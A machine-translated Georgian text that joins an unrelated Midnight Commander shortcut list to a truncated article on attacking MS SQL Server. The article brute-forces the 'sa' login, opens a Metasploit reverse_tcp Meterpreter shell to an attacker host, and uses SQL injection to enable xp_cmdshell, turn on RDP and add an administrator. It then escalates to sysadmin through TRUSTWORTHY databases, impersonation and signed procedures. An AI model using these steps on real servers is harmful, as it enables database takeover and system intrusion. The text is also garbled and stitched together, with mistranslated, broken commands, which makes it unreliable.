მეთოდები და ინსტრუმენტები MS SQL მონაცემთა ბაზების ჰაკერების მიზნით. მეთოდები და ინსტრუმენტები MS SQL მონაცემთა ბაზების ფაილის ოპერაციების დამალვისთვის

გენერალი

Ctrl + x, j - ფონის დავალებების ჩვენება

Ctrl-X + A - მიმდინარე VFS (ftp და ა.შ.)

ESC + ციფრი - იგივე, რაც F (ციფრი) (ESC + 5 \u003d F5)

F1-F12

F3 - ფაილის ნახვა

F3 - (რედაქტირებისას) დაიწყეთ ტექსტის შერჩევა. კვლავ დაჭერით F3 შეარჩევს არჩევანს.

F4 - ფაილის რედაქტირება

F5 - ასლის შერჩევა

F6 - გადაადგილების შერჩევა

F8 - არჩეული წაშლა

Shift + F1 - მარცხენა პანელზე სამონტაჟო წერტილებს შორის სწრაფი გადასვლის მენიუს ეწოდება

Shift + F2 - სწრაფ პანელზე მენიუს წერტილებს შორის სწრაფი გადასვლის მენიუს ეწოდება

Shift + F5 - დააკოპირეთ ფაილი იმავე დირექტორიაში

Shift + F6 - ფაილის გადატანა / გადარქმევა იმავე დირექტორიაში

ძებნა

ctrl-s - ფაილის ან დირექტორიის სწრაფი ძებნა

alt-shift-? - მოწინავე ფაილების ძებნა მენიუში გამოძახებულია.

ბრძანების სტრიქონი

ctrl-a - კურსორი დასაწყისისთვის

ctrl-e - კურსორი ბოლომდე

ესკ! - შეასრულეთ ბრძანება პარამეტრებით

ctrl-x, p ან alt + a - ჩასვით დირექტორია სახელი

გაქცევა, შეყვანა; ctrl-enter - გაგზავნეთ მიმდინარე ობიექტი ბრძანების ხაზში

ctrl-x, t - ყველა შერჩეული ობიექტი ჩასვით ბრძანების ხაზში

esc, tab - ბრძანების დამატება

alt-a - შეიყვანეთ მიმდინარე დირექტორია ბრძანების სტრიქონში

Alt-TAB (ESC + TAB) - ყველაზე მაგარი კომბინაცია გადმოწერილი ფაილების მოსაძებნად (მაგალითად, თქვენ დაავიწყდათ, თუ როგორ უნდა მართოთ: netcfg ან netconfig. უბრალოდ ბრძანების ხაზში ჩაწერეთ ბადე და დააჭირეთ Alt-TAB - დაუყოვნებლივ გაჩვენებთ, რომ შეგიძლიათ დაიწყოთ, რაც იწყება სიტყვები net) დააჭირეთ ორჯერ!
alt-shift-! - გამომავალი ბრძანების შედეგი
ctrl-shift-v - ჩასვით ბუფერში

ფაილის ოპერაციები

Shift + F4 - ქმნის ახალ ფაილს

shift-f6 - ფაილის გადარქმევა

Ctrl + x, i - მეორე პანელში არსებული ობიექტის შესახებ ინფორმაციის სწრაფი ხედი

Ctrl + x, q - ფაილის შინაარსის სწრაფი ნახვა მეორე პანელში

alt-. - აჩვენეთ ფარული ფაილები

ctrl-x, c - ფაილის ნებართვა

ctrl-x, o - ფაილის მფლობელი

Shift-F3 - ფაილის ნახვა (ნედლეული / გაფართოების გარეშე)

Ctrl + x v - შექმნათ შედარებით სიმბოლური ბმული

trl + x, Ctrl + s - შეცვალეთ სიმბოლური ბმული

ctrl-t - მონიშვნის ფაილი ან წაშალოთ

+ - აირჩიეთ (მონიშნეთ) ფაილების ჯგუფი რეგულარული გამოხატვით

\\ - წაშალეთ ფაილების ჯგუფი

ctrl-x, ctrl-d - ფაილების შედარება

ctrl-t ან ჩასმა - აირჩიეთ მიმდინარე ობიექტი

დირექტორიებთან მუშაობა

alt-o - გახსენით დირექტორია კურსორის ქვეშ მიმდებარე პანელში

alt-i - გახსენით მიმდინარე დირექტორია მიმდებარე პანელში

ctrl- \\ - აჩვენეთ "დირექტორია დირექტორია"

alt-shift-h - დირექტორია დირექტორია

Ctrl + l - გადააკეთეთ ეკრანი

Ctrl + Space - აჩვენეთ მიმდინარე დირექტორიის ზომა

Ctrl-X + D - შეადარეთ დირექტორიები

ESC + C - სწრაფად შეცვალეთ დირექტორია

alt-c - ფანჯრის "სწრაფი შეცვლის დირექტორი"

პანელებთან მუშაობა

Ctrl-O - გამორთეთ პანელები და ნახეთ რა არის მათ ქვეშ (ის მუშაობს მხოლოდ ლინუქსში!) აქ შეგიძლიათ იმუშაოთ ჭურვი.

alt-, - პანელის ჩვენების შეცვლა (ვერტიკალური / ჰორიზონტალური)

alt-t შეცვალეთ დეტალური პანელის ჩვენების რეჟიმი

Meta + c - გამოძახება მენიუ აქტიურ პანელზე მიმდინარე დირექტორიის შესაცვლელად

ctrl-u - სვოპ პანელები

alt-g - აღნიშნავს პანელში ნაჩვენები სიის პირველ ფაილს ან ცნობარს (არსებითად მთავარი კლავიშის მსგავსად, მოძრაობს კურსორის ზემოთ)

alt-e - პანელის კოდირების შეცვლა

Ctrl + x i - პასიური პანელის ჩართვა ხდება "ინფორმაციის" რეჟიმში

Ctrl + x q - პასიური პანელის სწრაფი ხედვის რეჟიმში აყენებს

ctrl-x! - მენიუ → ”პანელიზაციის კრიტერიუმები” (git)

ამბავი

alt + სთ; esc, h - ბრძანების ხაზის ისტორია

alt-p, alt-n - დააბრუნეთ წინა (შემდეგი) ბრძანება (ხაზები)

alt-y. წინა დირექტორიაში გადატანა დირექტორიების გადაადგილების ისტორიიდან; სიმბოლოზე დაწკაპუნებით equivalent<‘ в верхнем углу панели.

ალტ-უ. შემდეგ დირექტორიაში გადასვლა დირექტორიების გადაადგილების ისტორიიდან; ექვივალენტის სიმბოლოზე დაწკაპუნების ექვივალენტურია.

რედაქტორი

F4 (რედაქტორში) - ძიება ჩანაცვლებით

F6 (რედაქტორში) - რეგულარულად გამოხატვის ძებნა

Shift-Del (რედაქტორში) - წაშალეთ ბლოკი (და დააჭირეთ მას ბუფერში)

Shift-Ins (რედაქტორში) - ჩასვით ბუფერი ბუფერულიდან (ის მუშაობს სხვა კონსოლშიც კი !!!) შეგიძლიათ შეცვალოთ ორი ან მეტი ფაილი სხვადასხვა კონსოლზე და მართოთ მათ შორის ბლოკები.

Shift + F3 - დაიწყეთ ტექსტის ბლოკის არჩევა. კვლავ დაჭერით F3 შეარჩევს არჩევანს.

Shift + F5 - ჩასვით ტექსტი mc– ს შიდა ბუფერული სისტემის (წაიკითხეთ გარე ფაილი)

Meta + i - შეცვალეთ "ავტოთან შესაბამისობა გადაზიდვის დაბრუნებასთან" რეჟიმში, მოსახერხებელია, როდესაც ბუფერული ბლანკიდან ფორმატირებული ტექსტი ჩასვით

Meta + l - გადადით ხაზთან მისი ნომრით

Meta + q - ჩადეთ პირდაპირი (დაბეჭდული ხასიათი). ცხრილი ქვემოთ

Meta + t - არჩეული ტექსტის დალაგების ხაზები

Meta + u - შეასრულეთ გარე ბრძანება და ჩასვით კურსორი კურსორის ქვეშ მდებარე მდგომარეობაში

Ctrl + f - ჩასვით ფრაგმენტი შიდა ბუფერში mc (ჩაწერეთ გარე ფაილზე)

Ctrl + k - წაშალეთ ხაზის ნაწილი ხაზის ბოლოს

Ctrl + n - შექმენით ახალი ფაილი

Ctrl + s - ჩართეთ ან გამორთეთ სინტაქსის ხაზგასმა

Ctrl + t - შეარჩიეთ ტექსტის კოდირება

Ctrl + u - მოქმედებების გაუქმება

Ctrl + x - გადადით შემდეგის ბოლოს

Ctrl + y - წაშლა ხაზი

Ctrl + z - გადადით წინა სიტყვის დასაწყისში

Meta + Enter - დიალოგი ფუნქციის განმარტებაზე გადასვლამდე

Meta + - - დაბრუნება ფუნქციის განსაზღვრაში გადასვლის შემდეგ

Meta ++ - წინ გადაადგილება ფუნქციების განმარტებაში

Meta + n - ხაზის ნომრების ჩვენების ჩართვა / გამორთვა

ჩანართი არჩეული ტექსტის მარჯვნივ გადაადგილებით, თუ ვარიანტი "მუდმივი ბლოკები"

მეტა-ჩანართი არჩეული ტექსტი მარცხნივ გადაადგილდება, თუ ვარიანტი "მუდმივი ბლოკები"

Shift + ისრები აირჩიეთ ტექსტი

მეტა + ისრის ვერტიკალური ბლოკის შერჩევა

Meta + Shift + - ჩანართების და სივრცეების ჩვენების ჩართვა

Meta + Shift ++ შეცვლა "ავტოფორმირება ტრანსპორტით დაბრუნების გზით" რეჟიმში

DBMS შემოწმების გარეშე თითქმის ვერც ერთი სერიოზული ხმის გაკეთება არ შეიძლება, რადგან ეს არის თავდასხმის ერთ – ერთი ყველაზე პოპულარული კარი სასურველი ინფორმაციის და აპარატისთვის. დიდ პროექტებში, MS SQL სერვერი ხშირად გამოიყენება DBMS. დღეს ჩვენ ვისაუბრებთ მისი უსაფრთხოების შემოწმებაზე. ჩვენ ვერ აღმოვაჩენთ ამერიკას - გამოცდილი ამხანაგები მხოლოდ განაახლებენ თავიანთ ცოდნას, მაგრამ მათთვის, ვინც ახლახანს იწყებს თემის დაუფლებას, შევეცადე ყველაფერი მაქსიმალურად დალაგებულიყო.

გაფრთხილება!

ყველა ინფორმაცია მოცემულია მხოლოდ ინფორმაციული მიზნებისთვის. არც ავტორი და არც რედაქტორები პასუხისმგებელნი არიან ამ სტატიაში მასალების მიერ გამოწვეულ შესაძლო ზიანის შესახებ.

შესავალი

ინფორმაციული სისტემის სანდოობის ერთ-ერთი ყველაზე მნიშვნელოვანი კრიტერიუმია DBMS უსაფრთხოება. მასზე მიმართული თავდასხმები უმნიშვნელოვანესია, რადგან მათ შეუძლიათ ნაწილობრივ ან მთლიანად შეაფერხონ სისტემის მუშაობის უნარი. მას შემდეგ, რაც დიდმა ორგანიზაციებმა შექმნეს ინფრასტრუქტურა დიდი ხნის წინ და ახალი პროგრამული ვერსიების განახლება იწვევს მათ "დიდ" პრობლემებს, ყველაზე გავრცელებული ვერსიები კვლავ MS SQL Server 2005 და MS SQL Server 2008 არიან. მაგრამ ეს მხოლოდ სტატისტიკაა და ჩვენ გავაგრძელებთ განვიხილოთ ვექტორები და ტექნიკა, რომლებიც საერთოა ყველა ვერსიისთვის. მოხერხებულობისთვის, ჩვენ პირობითად გავანაწილებთ მთელ პენტესტურ პროცესს რამდენიმე ეტაპზე.

როგორ მოვძებნოთ MS SQL

პირველი, რაც პენტესტერმა შეასრულა, არის ინფორმაციის შეგროვება მსხვერპლის სერვერზე განთავსებულ სერვისებზე. ყველაზე მნიშვნელოვანი რაც თქვენ უნდა იცოდეთ Microsoft SQL Server– ს მოსაძებნად, არის იმ პორტის ნომრები, რომლებსაც ის უსმენს. და ისმენს პორტებს 1433 (TCP) და 1434 (UDP). იმის შესამოწმებლად, არის თუ არა დაზარალებულის სერვერზე MS SQL, საჭიროა სკანირება. ამისათვის შეგიძლიათ გამოიყენოთ Nmap ms-sql-info სკრიპტით. სკანირება დაიწყება ასე:

Nmap-გვ 1433 --script \u003d ms-sql-info 192.168.18.128

კარგად, მისი განხორციელების შედეგი წარმოდგენილია ნახ. 1.

Nmap- ის გარდა, შესანიშნავი სკანირების მოდული არსებობს Metasploit mssql_ping, რომელიც ასევე საშუალებას გაძლევთ განსაზღვროთ MS SQL– ის არსებობა თავდასხმულ სერვერზე:

Msf\u003e გამოიყენეთ დამხმარე / სკანერი / mssql / mssql_ping msf დამხმარე (mssql_ping)\u003e დააყენეთ RHOSTS 192.167.1.87 RHOSTS \u003d\u003e 192.168.1.87 msf დამხმარე (mssql_ping)\u003e გაშვება

ერთ – ერთი ამ ვარიანტის გამოყენებით, შეგიძლიათ სწრაფად განსაზღვროთ, არის თუ არა დამონტაჟებული MS SQL სერვერზე და ასევე გაარკვიეთ მისი ვერსია. შემდეგ შეგიძლიათ გააგრძელოთ შემდეგი ნაბიჯი.


უხეში ძალა

ვთქვათ, ჩვენ ვიპოვეთ DBMS სერვერზე. ახლა ამოცანაა მასზე წვდომა. და აქ ჩვენ გვხვდება პირველი დაბრკოლება ავთენტიფიკაციის ფორმით. ზოგადად, MS SQL მხარს უჭერს ავთენტიფიკაციის ორი სახეს:

  1. Windows Authentication არის სანდო კავშირი, რომელშიც SQL სერვერი იღებს მომხმარებლის ანგარიშს, თუკი იგი უკვე დამოწმებულია ოპერაციული სისტემის დონეზე.
  2. შერეული რეჟიმი - ავტორიზაცია SQL Server + Windows ავტორიზაციის გამოყენებით.

ნაგულისხმევი გზით, გამოიყენება პირველი ავტორიზაციის რეჟიმი, ხოლო შერეული რეჟიმი ცალკეა გააქტიურებული. პრაქტიკაში, ძნელია შეხვდეს ბაზას შერეული რეჟიმის გარეშე - ეს უფრო მოქნილია.

შერეული რეჟიმის ზოგიერთი უპირატესობა

  • საშუალებას აძლევს SQL სერვერს ძველი პროგრამების, აგრეთვე მესამე მხარის პროგრამების მხარდასაჭერად, რომლებიც საჭიროებენ SQL სერვერის ავტორიზაციას.
  • საშუალებას აძლევს SQL სერვერს, ხელი შეუწყოს მრავალრიცხოვან ოპერაციულ სისტემას, სადაც მომხმარებლები არ ავთენტურობენ Windows დომენთან.
  • საშუალებას აძლევს პროგრამის შემქმნელებს თავიანთი პროგრამების განაწილება დახვეწილი ნებართვის იერარქიით, ცნობილი, წინასწარ განსაზღვრული SQL Server შესვლების საფუძველზე.

ჩვეულებრივ, ამ ეტაპზე ჩვენ არ გვაქვს წვდომა კორპორატიულ ქსელში და, შესაბამისად, Windows- ით ვერ ვიყენებთ ავთენტიფიკაციას. მაგრამ ჩვენ აღმოვაჩინეთ ღია პორტი MS SQL- ით, რაც ნიშნავს რომ ჩვენ ვცდილობთ მოვიშოროთ admin admin ანგარიში sa, რომელიც სტანდარტულია შერეული რეჟიმისთვის. პროცესის ავტომატიზაციისთვის, ჩვენ ვიყენებთ Metasploit მოდულს mssql_login:

Msf\u003e გამოიყენეთ დამხმარე / სკანერი / mssql / mssql_login msf დამხმარე (mssql_login)\u003e მითითებული RHOSTS 172.16.2.104 RHOSTS \u003d\u003e 172.16.2.104 msf დამხმარე (mssql_login)\u003e მითითებული PASS_FILE /root/Desktop/pass_D.S.S.2/2.1/2.1 1433 - MSSQL - ავტორიზაციის სკანერის დაწყება. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION \\ sa: admin (არასწორია :) [*] 172.16.2.104:1433 - შესვლა შეძლებულია: WORKSTATION \\ sa: qwerty (არასწორია: [[]] 172.16.2.104:1433 - შესვლა FAILED: WORKSTATION \\ sa: toor (არასწორია :) [+] 172.16.2.104:1433 - შესვლა წარმატებული: WORKSTATION \\ sa: root [*] სკანირების 1 1 მასპინძელი (100% დასრულებული) [*] დასრულებულია მოდულის დამხმარე შესრულება

დიდი! პაროლი ნაპოვნია, ახლა ჩვენ შეგვიძლია გადავიდეთ შემდეგ ეტაპზე. რა მოხდება, თუ sa ანგარიში არ გამოჩნდება სერვერზე? შემდეგ მოგიწევთ შესვლა brute, რისთვისაც საჭირო იქნება სკრიპალზე მიუთითოთ კიდევ ერთი ფაილი, სად უნდა მიიღოთ ისინი:

Msf დამხმარე (mssql_login)\u003e დააყენეთ USER_FILE /root/Desktop/user.txt

ჭურვების მიღება

იმ შემთხვევაში, როდესაც ჩვენ შევძელით SA ანგარიშის ამოღება, შეგვიძლია შევიდნენ მონაცემთა ბაზაში. შემდეგ სცენარი მარტივია - ჩვენ ვიცავთ შენახულ პროცედურას, რომლის საშუალებითაც შეგვიძლია შესრულდეს ბრძანებები ოპერაციული სისტემის დონეზე და ატვირთოთ იგი Meterpreter shell სერვერზე. მკაცრმა ბიჭებმა დაწერა შესანიშნავი მოდული mssql_payload Metasploit– ისთვის, რომელიც ავტომატიზირებს ამ პროცესს:

Msf\u003e გამოიყენეთ ექსპლოატაცია / windows / mssql / mssql_payload msf ექსპლუატაცია (mssql_payload)\u003e დააყენეთ RHOST 172.16.2.104 msf ექსპლუატაცია (mssql_payload)\u003e დააყენეთ USERNAME როგორც USERNAME \u003d\u003e არის msf ექსპლუატაცია (mssql_payload)\u003e დააყენეთ PASSWORD root mssql_payload)\u003e დააყენეთ PAYLOAD windows / meterpreter / reverse_tcp PAYLOAD \u003d\u003e windows / metprepreter / reverse_tcp msf ექსპლოატაცია (mssql_payload)\u003e მითითებული LHOST 172.16.2.105 LHOST \u003d\u003e 172.16.2.105 [*] ბრძანება Stager პროგრესი - 100.00% 106 (242) ) [*] მეტროსპირიანთა სესია 1 გაიხსნა (172.16.2.105-00-00444 -\u003e 172.16.2.104:3987) 2015-02-20 10:42:52 -0500 მეტრის განმარტებით\u003e

Meterpreter– ის სესია შეიქმნა, ახლა თქვენ გაქვთ სრული წვდომა. შეგიძლიათ გადააგდოთ ადმინისტრატორი ჰაში, გადაიღოთ ეკრანის ანაბეჭდები, შექმნათ / წაშალოთ ფაილები, ჩართოთ / გამორთოთ მაუსი ან კლავიატურა და მრავალი სხვა. ალბათ, ეს არის ყველაზე პოპულარული ჭურვი, რომელიც გამოიყენება შეღწევადობის ტესტებში. შეგიძლიათ იპოვოთ Meterpreter– ის ბრძანებების სრული სია.

რა უნდა გააკეთოს, თუ მომხმარებლის სახელი / პაროლი არ დაიკარგა?

მაგრამ ნუ იკაწუნებ თავს, არც თუ ისე ხშირად mssql_login მოდული გსიამოვნებს: ადმინისტრატორები ძალიან იშვიათად ტოვებენ სტანდარტულ პაროლს. ამ შემთხვევაში, SQL ინექცია დაგვეხმარება ჭურვის მიღებაში. წარმოიდგინეთ HTML ფორმა, რომელშიც მომხმარებელი შედის სტატიის ნომერს და მარტივ დაუცველ შეკითხვას მონაცემთა ბაზაში, ყველა მათგანი მუშაობს admin ანგარიშის ქვეშ:

   $ strSQL \u003d "SELECT * FROM. WHERE id \u003d $ id";

ცვლადი $ id არ არის გაფილტრული რაიმე ფორმით, რაც ნიშნავს რომ თქვენ შეგიძლიათ ჩაატაროთ SQL ინექცია, რომელშიც ნებისმიერი მოთხოვნა შესრულდება ადმინისტრაციული ანგარიშიდან sa. ოპერაციული სისტემის დონეზე ბრძანებების შესრულების მიზნით, თქვენ უნდა გაააქტიუროთ xp_cmdshell შენახული პროცედურა, რომელიც გამორთულია. ამის გასააქტიურებლად ჩვენ უნდა გამოგიგზავნოთ ოთხი მოთხოვნა:

  1. EXEC sp_configure "აჩვენე მოწინავე პარამეტრები", 1;
  2. კონფიგურაცია;
  3. ‘შეასრულეთ sp_configure" xp_cmdshell ", 1;
  4. კონფიგურაცია

Sp_configure სისტემის შენახული პროცედურა საშუალებას გაძლევთ ნახოთ, დაასაბუთოთ, შეცვალოთ და აღადგინოთ სერვერის კონფიგურაცია. სერვერზე წვდომის უმარტივესი გზაა RDP რეესტრის საშუალებით ჩართვა, ადმინისტრატორიული უფლებების მქონე მომხმარებლის შექმნა და დაკავშირება.

ჩართეთ RDP:

10; რეგ დაამატეთ "HKEY_LOCAL_MACHINE \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminal Server" / v fDenyTSConnections / t REG_DWORD / d 0 / f

შექმენით მომხმარებელი:

10; exec master.dbo.xp_cmdshell "წმინდა მომხმარებლის root toor / ADD"

ჩვენ ვიძლევთ უფლებებს:

10; exec master.dbo.xp_cmdshell "ადგილობრივი ადგილობრივი ჯგუფის ადმინისტრატორების ფესვი / დამატება"

პრივილეგიის ესკალაცია. სანდო

წინა შემთხვევაში, მონაცემთა ბაზაში მოთხოვნა წარმოიშვა ადმინისტრატორის სახელიდან და, შესაბამისად, ოპერაციული სისტემის ბრძანებების შესრულება ასე მარტივი იყო. რა მოხდება, თუ ჩვენ გვაქვს გამოტოვებული ანგარიში, რომელსაც არ გვაქვს ნებართვა xp_cmdshell საშუალებას? ამ შემთხვევაში, შენახული პროცედურები და მონაცემთა ბაზის გააქტიურებული TRUSTWORTHY ქონება დაგვეხმარება.

დავიწყოთ თავიდანვე. ამ ვექტორის უფრო მეტი სიცხადისთვის, მე აღწერს მთელ ეტაპზე მონაცემთა ბაზისა და ანგარიშების კონფიგურაციის ეტაპზეც კი. შექმენით ახალი YOLO მონაცემთა ბაზა: შექმენით მონაცემები YOLO; . შექმენით ახალი ბობ მომხმარებელი მარელის პაროლით: შექმენით LOGIN bob PASSWORD \u003d "marley"; ჩვენ ვიყენებთ მომხმარებლის bob- ს, რომ იყოს YOLO მონაცემთა ბაზის მფლობელი:

გამოიყენეთ YOLO ALTER LOGIN default_database \u003d; გამოიყენეთ შესვლა მომხმარებლისგან; EXEC sp_addrolemember ,;

შემდეგ ჩვენ ვაყენებთ TRUSTWORTHY თვისებას, რომელიც განსაზღვრავს თუ არა დაშვება ამ მონაცემთა ბაზის ობიექტებს (ხედვები, მომხმარებლის მიერ განსაზღვრული ფუნქციები, შენახული პროცედურები) დაუშვან წვდომა ამ მონაცემთა ბაზის გარეთ მდებარე ობიექტების მისგან პერსონალიზაციის რეჟიმში. შესვლა SQL სერვერზე bob: marley ანგარიშის გამოყენებით.

ჩვენ ვქმნით შენახულ პროცედურას sysadmin- ის პრივილეგიების მინიჭებისთვის bob ანგარიშზე:

გამოიყენეთ YOLO GO შექმნათ პროცედურა.

დარწმუნდით, რომ შენახული პროცედურის შესრულებამდე, ჩვენ არ გვაქვს sysadmin პრივილეგიები:

SELECT არის_srvrolemember ("sysadmin") შედეგი \u003d 0

შეასრულეთ ზემოთ შექმნილი sp_lvlup შენახული პროცედურა:

გამოიყენეთ YOLO EXEC sp_lvlup

კიდევ ერთხელ ვამოწმებთ ჩვენს პრივილეგიებს:

SELECT არის_srvrolemember ("sysadmin") შედეგი \u003d 1

Sp_lvlup პროცედურა შეიქმნა OWNER- ის სახელით, რომელიც ამ შემთხვევაში არის ადმინისტრაციული ანგარიში sa. ეს შესაძლებელია, რადგან db_owner– მა შექმნა მონაცემთა ბაზაში შენახული პროცედურა და ეს მონაცემთა ბაზა კონფიგურებულია, როგორც საიმედო, ანუ TRUSTWORTHY \u003d საკუთრების შესახებ. ამ ქონების გარეშე პროცედურა შეუძლებელი იქნებოდა შეღავათების არარსებობის გამო. გააქტიურებული TRUSTWORTHY ქონება ყოველთვის არ არის ცუდი. პრობლემები იწყება იმ შემთხვევაში, როდესაც ადმინისტრატორები არ ანაწილებენ პრივილეგიებს მონაცემთა ბაზის მფლობელებს. შედეგად, bob ანგარიშს ენიჭება syadadmin პრივილეგიები sp_lvlup შესრულების შემდეგ. იმის სანახავად, თუ რომელ მონაცემთა ბაზას აქვს გააქტიურებული TRUSTWORTHY საკუთრება, შეგიძლიათ გამოიყენოთ შემდეგი შეკითხვა:

SELECT სახელი, მონაცემთა ბაზა_იდ, არის_trustworthy_on sys.databases

ან მთელი პროცესის ავტომატიზაციისთვის, შეგიძლიათ გამოიყენოთ მოდული Metasploit mssql_escalate_dbowner_sqli:

გამოიყენეთ დამხმარე / admin / mssql / mssql_escalate_dbowner_sqli set rhost 172.16.2.104 მითითებული rport 80 კომპლექტი GET_PATH /login.asp?id\u003d1+and+1\u003d ;-- ისარგებლეთ ... [+] 172.16.2.104:80 - წარმატებები! ბობი ახლა არის sysadmin!

პრივილეგიის ესკალაცია. მომხმარებლის impersonation

შემდეგ ვექტორს ეწოდება User impersonation. ზოგჯერ შენახული პროცედურები მოითხოვს გარე რესურსებზე წვდომას, რომლებიც პროგრამის მონაცემთა ბაზაში მდებარეობს. ამის განხორციელების მიზნით, დეველოპერები იყენებენ IMPERSONATE პრივილეგიებს და EXECUTE AS ფუნქციას, რაც შეკითხვის შესრულებას საშუალებას აძლევს სხვა ანგარიშის სახელით. ეს არ არის დაუცველი, როგორც ასეთი, არამედ სუსტი კონფიგურაცია, რაც იწვევს პრივილეგიების ესკალაციას.

როგორც წინა მაგალითში, ვექტორის არსის ანალიზს დავიწყებთ კონფიგურაციის ეტაპზე. პირველი, შექმენით ოთხი ანგარიში:

შექმენით მომხმარებელი1 PASSWORD \u003d "საიდუმლო"; შექმენით მომხმარებელი2 PASSWORD \u003d "საიდუმლო"; შექმენით მომხმარებელი3 PASSWORD \u003d "საიდუმლო"; შექმენით მომხმარებელი4 PASSWORD \u003d "საიდუმლო";

შემდეგ ჩვენ ვიძლევთ მომხმარებელს User1 პრივილეგიას, შეასრულოს მოთხოვნები sa, User2, User3- ის სახელით:

გამოიყენეთ ოსტატი; საგრანტო შემოწმება ლოგინზე :: sa to; საგრანტო შეთავაზება შესვლაზე :: MyUser2 to; საგრანტო შეთავაზება შესვლაზე :: MyUser3 to; წადი

ჩვენ შესვლა SQL სერვერზე User1 ანგარიშის ქვეშ და ვამოწმებთ, თუ გამოყენებულია პრივილეგიები სხვა ანგარიშების მოთხოვნების შესასრულებლად.

SELECT გამორჩეული b.name FIRM sys.server_permission და შეიყვანეთ თქვენი sys.server_principals b ON a.grantor_principal_id \u003d b.principal_id WHERE a.permission_name \u003d "IMPERSONATE"

ახლა შეამოწმეთ მიმდინარე შეღავათები:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ("sysadmin") შედეგი \u003d 0

კარგი, ახლა უკვე ხრიკია შეასრულოს მოთხოვნა სახელიდან, რადგან ზემოთ ჩვენ ვიღებდით პრივილეგიებს user1 ანგარიშზე, რათა შეესრულებინათ მოთხოვნები:

EXECUTE AS LOGIN \u003d "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ("sysadmin") შედეგი \u003d 1

ყველაფერი წესრიგშია, ახლა ჩვენ შეგვიძლია შეასრულოთ ბრძანებები sa– ს სახელით, რაც ნიშნავს რომ თქვენ შეგიძლიათ ჩართოთ xp_cmdshell შენახული პროცედურა:

EXEC sp_configure "აჩვენე მოწინავე პარამეტრები", 1 რეკონსტრუქცია GO EXEC sp_configure "xp_cmdshell", 1 რეკონსტრუქცია GO

ინფო

Sysadmin– ის ანგარიშს, სტანდარტულად, შეუძლია ნებისმიერი სხვა მომხმარებლის სახელით შეასრულოს მოთხოვნები. შეკითხვის საშუალებით დაგეხმარებათ ცხრილის ჩვენება ყველა მომხმარებლისთვის: SELECT * FROM master.sys.sysusers WHERE islogin \u003d 1. სხვა ანგარიშის სახელით მოთხოვნის შესასრულებლად გამოიყენეთ EXECUTE AS LOGIN \u003d "AnyUser". წინა ანგარიშზე დასაბრუნებლად, უბრალოდ შეავსეთ REVERT მოთხოვნა.

ეს არის მთელი ხრიკი. ავტომატიზაციისთვის, ჩვეულებისამებრ, შეგიძლიათ გამოიყენოთ Metasploit მოდული mssql_escalete_executeas_sqli:

გამოიყენეთ დამხმარე / admin / mssql / mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 მითითებული rport 80 კომპლექტი GET_PATH /login.asp?id\u003d1+and+1\u003d ;-- ისარგებლეთ ... [+] 172.16.2.104:80 - წარმატებები! მომხმარებელი ახლა არის sysadmin!

პრივილეგიის ესკალაცია. სერთიფიკატის ხელმოწერილი შენახული პროცედურები

ამ ვექტორის აღწერისთვის, შექმენით დაუცველი შენახული პროცედურა, რომელსაც ხელი მოაწერენ მოწმობას. წინა მაგალითებისგან განსხვავებით, ესკალაციისთვის პრივილეგიები არ არის საჭირო:

  • ქონება TRUSTWORTHY \u003d ჩართული;
  • შეასრულეთ პრივილეგიები და განახორციელეთ AS ფუნქცია;
  • შენახული პროცედურის კონფიგურაცია AS EXECUTE AS კლასის გამოყენებით, მას სხვა ანგარიშის სახელით შესასრულებლად.

შექმენით ანგარიში მინიმალური უფლებებით:

შექმენით ლოგინი PASSWORD \u003d "ლოკი"; GO - დააყენეთ შესვლის ნაგულისხმევი მონაცემთა ბაზა ALTER LOGIN with default_database \u003d; წადი

გამორთეთ TRUSTWORTHY საკუთრება: შეცვალეთ მონაცემთა ბაზა გამორთეთ შეცვალეთ. და შექმენით მარტივი შენახული პროცედურა sp_xxx, რომელიც გამოიტანს სახელის სვეტს tempdb მონაცემთა ბაზაში, აგრეთვე მონაცემთა ბაზაში, რომელიც მომხმარებელმა შეიყვანა:

გამოიყენეთ MASTER; წაიკითხეთ PROCEDURE sp_xxx @DbName varchar (max) AS BEGIN გამოაცხადეთ @query as varchar (max) SET @query \u003d "SELECT name FROM master" .ysysdatabases, სადაც სახელი ჰქვია ""% "+ @DbName +"% "" ან სახელი \u003d " "tempdb" ""; EXECUTE (@query) დასრულდება GO

ამის შემდეგ შექმენით დაშიფვრის გასაღები MASTER მონაცემთა ბაზისთვის:

შექმენით MASTER საკვანძო დაწერა PASSWORD \u003d "საიდუმლო"; წადი

და სერთიფიკატი:

შექმენით CERTIFICATE sp_xxx_ კონცერტი SUBJECT \u003d "ხელი მოვაწეროთ sp_xxx", EXPIRY_DATE \u003d "2035-01-01"; წადი

შემდეგი ნაბიჯი არის მომხმარებლის სახელის შექმნა sp_xxx სერთიფიკატიდან:

შექმენით შესვლა sp_xxx_login მოწმობები SP_XX_ კონცერტიდან

ჩვენ პროცედურას ვაწარმოებთ შექმნილი სერთიფიკატით:

დაამატეთ ნიშანი SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; წადი

მიანიჭეთ sysadmin პრივილეგიებს sp_lvlup2:

EXEC master..sp_addsrvrolemember @loginame \u003d N "sp_xxx_login", @rolename \u003d N "sysadmin" GO

ჩვენ ვიღებთ პრივილეგიას საზოგადოებრივი ჯგუფის წევრებთან, რომ შეასრულონ პროცედურა:

გრანტის შესრულება sp_xxx to PUBLIC

შედეგად, ჩვენ შევქმენით ტორ მომხმარებელი მინიმალური უფლებებით, sp_xxx შენახული პროცედურა, რომელიც ასახავს შეყვანილი მონაცემთა ბაზის სახელს, შევქმენით sp_xxx_cert სერთიფიკატი და მასზე შენახული პროცედურა გავაფორმეთ, ხოლო სერთიფიკატიდან შევქმენით sp_xxx_login შესვლა და მისცეს მას sysadmin პრივილეგიები. ამისათვის დასრულდა მოსამზადებელი ნაწილი. შედით ტორ ანგარიშით და დარეკეთ შენახულ პროცედურას:

EXEC MASTER.dbo.sp_xxx "ოსტატი"

როგორც მოსალოდნელი იყო, ის დაუბრუნებს ჩვენს მიერ მითითებული მონაცემთა ბაზის სახელს - master and tempdb (იხ. სურათი 3).

  სურ. 3. შეკითხვის EXEC MASTER.dbo.sp_xxx "მასტერის" შესრულების შედეგი

